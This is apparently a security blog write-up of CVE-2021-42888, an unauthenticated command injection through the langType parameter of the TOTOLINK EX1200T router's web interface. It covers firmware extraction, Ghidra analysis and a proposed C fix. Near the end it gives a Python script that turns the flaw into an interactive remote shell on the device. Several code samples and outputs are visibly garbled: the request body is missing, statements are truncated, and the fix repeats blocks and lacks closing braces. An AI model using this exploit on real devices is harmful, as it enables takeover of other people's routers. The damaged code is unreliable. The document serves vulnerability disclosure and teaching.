CVE-2021-42888: TOTOLINK EX1200T Remote Command Injection

12 minute read


A vulnerability discovered in TOTOLINK EX1200T model known as CVE-2021-42888 which lead to Remote Command Injection, as a results anyone exploit this vulnerability by sending a crafted request through langType parameter when setting the language will be able to to inject arbitrary commands and will get executed by the device. Note:(Everything you obtain here is for educational purposes, Don't use or abuse any bug against any target without permissions)

Obtaining the Firmware

Before we start we would need the firmware of the device, Therefore We can take a static look at the code and how it works to understand more. So, what we need is the vulnerable Firmware for the device which is V4.1.2cu.5215 and we have many ways to do it:

  • You can search for the firmware on the official website for the vendor.

  • Download it from any other source (after someone already dump it from the device and published it).

  • Dump the firmware through UART, You could read a detailed blog from Here.

  • Also, you could contact the support to provide you with the firmware.

  • Finally dumping the firmware using CH341A Mini programmer USB, You could read a detailed blog from Here.

In my case, I found the firmware on the vendor website. Now, Let’s extract the firmware using binwalk tool as the following binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web" and here is the output:

$ ls
$ sudo binwalk -e --run-as=root "TOTOLINK_C8180E-1C_EX1200T_WX022_8197F_SPI_8M64M_V4.1.2cu.5215_B20210330_ALL.web"
[sudo] password for azima:

76            0x4C            JFFS2 filesystem, little endian
209052        0x3309C         Zlib compressed data, compressed
209388        0x331EC         Zlib compressed data, compressed
210144        0x334E0         Zlib compressed data, compressed
210832        0x33790         JFFS2 filesystem, little endian
231428        0x38804         Zlib compressed data, compressed
231988        0x38A34         Zlib compressed data, compressed
232548        0x38C64         Zlib compressed data, compressed
233116        0x38E9C         Zlib compressed data, compressed
233560        0x39058         JFFS2 filesystem, little endian
254344        0x3E188         Zlib compressed data, compressed
254696        0x3E2E8         JFFS2 filesystem, little endian
255224        0x3E4F8         Zlib compressed data, compressed
256064        0x3E840         JFFS2 filesystem, little endian
321636        0x4E864         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6526520 bytes

And as i am using Windows Subsystem Linux (WSL), Here we can browser our firmware normally:


The Analysis

It’s the time for the analysis. We will need Burp Suite to see how is the request of the Language set looks like on the device before it’s go to the device web server and how/why it executes the value as a command. When we open the web panel, We can notice that there is a menu list on the right-top that contains the language.

Now, when we change the language and look at requests made through burp suite will find the following:

And by navigating to the request made to change the language which has the langType parameter the request is as the following:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
DNT: 1
Connection: close


Let’s go with Ghidra and reverse the cstecgi.cgi file. Now, By going to the file and check it with the file command, We can see it’s an ELF 32bit MIPS file:

Open it and create a new project i named it EX1200T for the device name and drop the cstecgi.cgi file into the project:

After that open the file using Code Browser within Ghidra:

Then, analysis the file:

Navigating to Symbol Tree and let’s check out the functions:

After going through the functions clearly inside FUN_00400dd8 function we can see the following lines of codes. But, there is no thing interesting and it’s all about functions calling other functions:

We just can see that httpStatus, redirectURL & responseParam being passed to some unclear functions.Also, If we search for any string contains the work lang, We can see there is nothing can be found:

But, You can see under \squashfs-root\lib\cste_modules folder that there are libraries named as the following:

After reversing this libraries you will know that it’s clearly used by the cstecgi.cgi to perform different operations and changes through the device panel. Let’s identify which one perform the changing language process by searching through the following Bash one liner using strings command:

for i in $(ls -la | awk '{print $9}' | grep ".so"); do echo ""; echo "Lib Name: $i"; strings $i | grep "langType"; done

The above line will print the library name after this will run the strings command on the library to get any string has the work langType and will print the results under the library name. Therefore, we will be able to know which library contains the language changing process or anything related. Command output:

Lib Name: Fastjson.txt

Lib Name:

Lib Name:

Lib Name:

Lib Name:

Lib Name:

Lib Name:

Lib Name:

Lib Name:

Lib Name:

And as we can see it’s with-in the library, As we did with the cstecgi.cgi file. Let’s do the same with the library with Ghidra. After opening the Functions tab under Symbol Tree we can notice the setLanguageCfg function:

So, we can say the language process is as the following:

Now, Let’s navigate to the function and understand what this function do and how it works. First the function start by taking 3 parameters

undefined4 setLanguageCfg(undefined4 param_1,undefined4 param_2,undefined4 param_3)

Which are param_1, param_2 and param_3. By going through the rest of the code you gonna see that mostly are declaring of variables, Until we reach the line number 31:

We can see here it’s created 2 variables:

  • param2: which stores the value that the websGetVar() function will return which obvius that it will return the value of langType and assign it to param2 and if there is no value, It will assign the "" to param2 which is empty string.

  • __nptr: which stores the value that the websGetVar() function will return which obvius that it will return the value of langFlag and assign it to __nptr and if there is no value, It will assign the 1 to __nptr.

From what we saw we can change these variable names to the names of the request parameters and the call for the apmib_get() function is for retrieving a value from a data structure and storing it in param2 for later use. By complete reading through the code:

local_1c = atoi(langFlag);

the local_1c stores the value of langFlag which converted by atoi() function which converts a string of characters representing an integer value into an actual integer value. Then, again apmib_get() function is retrieving a value from a data structure and storing it in local_1c for later use. After that in the following lines:

  iVar1 = f_exists("/mnt/custom/product.ini");
  if (iVar1 != 0) {

Here the iVar1 stores the return value of the f_exists function and it’s a custom function defined elsewhere in the code which checks if the /mnt/custom/product.ini file exists or no. Then, there is if condition checks if the value of iVar1 is not equal to 0 which mean that the file /mnt/custom/product.ini exists. If the condition is true the sprintf function will format a string and store it in acStack_140 and the formatted string consists of the literal string helpUrl_ is followed by the value of the variable langType. Then, apmib_get() function is retrieving a value from a data structure and storing it in local_40 for later use. Now, Coming to the following lines of codes is the place where the problem happens:

CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1",0);
sprintf(acStack_140,"ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1",
return 0;

First, apmib_update_web(4) This function updating some configuration settings on the device, Moving to the next line which is a call to a custom function from it’s name and arguments we can see it’s executing commands and the command is rm -f /web_cste/js/language.js 1>/dev/null 2>&1 and it’s clearly to remove the /web_cste/js/language.js file & the 1>/dev/null and 2>&1 redirection operators are used to suppress output from the command. Then, sprintf() function format a string into acStack_140 and The formatted string will be /web_cste/js/language_[langType].js and here where is the root cause of the problem cause the input is not filtered and by going to the following line CsteSystem(acStack_140,0); use CsteSystem() function again to execute the command stored in acStack_140 which includes the langType value that can be manipulated by the user & In this case, The user can include malicious input. Let’s now exploit it. I connected the device through telnet services first:

Now, Let’s go to Burp Suite and manipulate the request and show a PoC for the vulnerability:

We can see our request and response is successfully and Basically we executed a command to print out the CVE number and store it inside poc.txt in the /tmp directory and if we navigate to the directory we can see clearly our file there and the CVE number:

But, We can see that it ends with .js, So we can print a new line or separate it with ; which separate commands in shell:

And here is it working well. Now, We can automate this process using python:

import requests
import sys

print(f"[*] Target: {sys.argv[1]} \n")
url = f"http://{sys.argv[1]}/cgi-bin/cstecgi.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}

while True:
    command = input(f"{sys.argv[1]}@shell# ")
    json = {"langFlag": "1", "langType": f";{command} > /web_cste/res.txt;",
            "topicurl": "setting/setLanguageCfg"}
    req1 =, headers=headers, json=json)
    if req1.status_code == 200:
        print(f"[+] Command: {command}\n")
        req2 = requests.get(f"http://{sys.argv[1]}/res.txt", headers=headers)
        print("[+] Results:")
        json = {"langFlag": "1", "langType": f";rm -rf /web_cste/res.txt;",
                "topicurl": "setting/setLanguageCfg"}, headers=headers, json=json)
        print("[-] Error Command failed")

So, Basically the code will take a target as a first argument and then the command from the user after that will send the command and save the results in res.txt file in the web root directory so it can be access in public, After that request the res.txt file and print out it’s output which also is the command out put then it will delete it.

Final Thoughts

The developer shall use an Asp endpoint to change the language as a different option instead of executing commands to move the JS files responsiable for the language, But, In our case of this code there are many solutions to make sure it will be hard for the user to escape the default command and inject malicious command as the following:

// Define an array of languages
char* languages[] = {"en", "ar", "ch"};

// Get the number of languages in the array
int numLanguages = sizeof(languages) / sizeof(languages[0]);

// Get the value of the langType parameter from the HTTP request
langType = (char*)websGetVar(param_2, "langType", "");

// Check if langType has length of 2, exit without executing commands if it doesn't
if (strlen(langType) != 2) {
return 0;

// Check if langType is included in the languages array, exit without executing commands if it's not
int isIncluded = 0;
for (int i = 0; i < numLanguages; i++) {
if (strcmp(langType, languages[i]) == 0) {
isIncluded = 1;
if (!isIncluded) {
return 0;

// Remove the existing language.js file
CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1", 0);

// Set up the path for the new language.js file and create a symbolic link to it
sprintf(acStack_140, "/web_cste/js/language_%s.js", langType);
sprintf(acStack_140, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", langType);
CsteSystem(acStack_140, 0);

// Set the langType and langFlag parameters in the system
apmib_set(0x1772, langType);
langFlag = (char*)websGetVar(param_2, "langFlag", "1");
local_1c = atoi(langFlag);
apmib_set(0x1777, &local_1c);

// Check if the product.ini file exists and set the helpUrl parameter in the system
iVar1 = f_exists("/mnt/custom/product.ini");
if (iVar1 != 0) {
sprintf(acStack_140, "helpUrl_%s", langType);
inifile_get_string("/mnt/custom/product.ini", "PRODUCT", acStack_140, &local_40);
apmib_set(0x1bc8, &local_40);

// Update the web configuration

// Remove the existing language.js file
CsteSystem("rm -f /web_cste/js/language.js 1>/dev/null 2>&1", 0);

// Set up the path for the new language.js file and create a symbolic link to it
sprintf(acStack_140, "/web_cste/js/language_%s.js", langType);
sprintf(acStack_140, "ln -s /web_cste/js/language_%s.js /web_cste/js/language.js 1>/dev/null 2>&1", langType);
CsteSystem(acStack_140, 0);

// Set the response and return 0
websSetCfgResponse(param_1, param_3, &DAT_0001eca4, "reserv");
return 0;

Now, we created an array then condition checks if it is a valid two-letter language code by comparing it with the values in the languages array. If the langType parameter is not valid, the code exits without executing further commands.



In this analysis we saw the root cause of the issue and how it can be solved in an example code, Also how we can analysis the unclear decompiled code to understand as much as we can of the code and make it clear.Finally, You have to keep each code under it’s condition.